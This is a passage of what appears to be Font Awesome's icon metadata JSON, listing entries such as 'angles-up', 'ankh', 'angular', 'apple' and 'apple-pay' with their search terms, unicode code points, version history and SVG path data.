        "more",
        "next",
        "quote",
        "raquo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f101",
    "label": "Angles Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M470.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 256 265.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160zm-352 160l160-160c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L210.7 256 73.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M470.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 256 265.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160zm-352 160l160-160c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L210.7 256 73.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "angles-up": {
    "aliases": {
      "names": ["angle-double-up"],
      "unicodes": {
        "secondary": ["10f102"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "caret", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f102",
    "label": "Angles Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 109.3 361.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160zm160 352l-160-160c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 301.3 361.4 438.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 109.3 361.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160zm160 352l-160-160c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 301.3 361.4 438.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "angrycreative": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36e",
    "label": "Angry Creative",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"
      }
    },
    "free": ["brands"]
  },
  "angular": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f420",
    "label": "Angular",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"
      }
    },
    "free": ["brands"]
  },
  "ankh": {
    "aliases": {
      "unicodes": {
        "composite": ["2625"],
        "secondary": ["10f644"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Ankh",
        "amulet",
        "copper",
        "coptic christianity",
        "copts",
        "crux ansata",
        "egypt",
        "venus"
      ]
    },
    "styles": ["solid"],
    "unicode": "f644",
    "label": "Ankh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 128c0-35.3 28.7-64 64-64s64 28.7 64 64c0 41.6-20.7 76.6-46.6 104.1c-5.9 6.2-11.8 11.8-17.4 16.7c-5.6-4.9-11.5-10.5-17.4-16.7C116.7 204.6 96 169.6 96 128zM160 0C89.3 0 32 57.3 32 128c0 52.4 21.5 95.5 46.8 128H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V480c0 17.7 14.3 32 32 32s32-14.3 32-32V320h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H241.2c25.4-32.5 46.8-75.6 46.8-128C288 57.3 230.7 0 160 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 128c0-35.3 28.7-64 64-64s64 28.7 64 64c0 41.6-20.7 76.6-46.6 104.1c-5.9 6.2-11.8 11.8-17.4 16.7c-5.6-4.9-11.5-10.5-17.4-16.7C116.7 204.6 96 169.6 96 128zM160 0C89.3 0 32 57.3 32 128c0 52.4 21.5 95.5 46.8 128H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V480c0 17.7 14.3 32 32 32s32-14.3 32-32V320h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H241.2c25.4-32.5 46.8-75.6 46.8-128C288 57.3 230.7 0 160 0z"
      }
    },
    "free": ["solid"]
  },
  "app-store": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36f",
    "label": "App Store",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"
      }
    },
    "free": ["brands"]
  },
  "app-store-ios": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f370",
    "label": "iOS App Store",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM127 384.5c-5.5 9.6-17.8 12.8-27.3 7.3-9.6-5.5-12.8-17.8-7.3-27.3l14.3-24.7c16.1-4.9 29.3-1.1 39.6 11.4L127 384.5zm138.9-53.9H84c-11 0-20-9-20-20s9-20 20-20h51l65.4-113.2-20.5-35.4c-5.5-9.6-2.2-21.8 7.3-27.3 9.6-5.5 21.8-2.2 27.3 7.3l8.9 15.4 8.9-15.4c5.5-9.6 17.8-12.8 27.3-7.3 9.6 5.5 12.8 17.8 7.3 27.3l-85.8 148.6h62.1c20.2 0 31.5 23.7 22.7 40zm98.1 0h-29l19.6 33.9c5.5 9.6 2.2 21.8-7.3 27.3-9.6 5.5-21.8 2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"
      }
    },
    "free": ["brands"]
  },
  "apper": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f371",
    "label": "Apper Systems AB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"
      }
    },
    "free": ["brands"]
  },
  "apple": {
    "changes": ["3.2.0", "5.0.0", "5.0.7", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["fruit", "ios", "mac", "operating system", "os", "osx"]
    },
    "styles": ["brands"],
    "unicode": "f179",
    "label": "Apple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"
      }
    },
    "free": ["brands"]
  },
  "apple-pay": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f415",
    "label": "Apple Pay",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 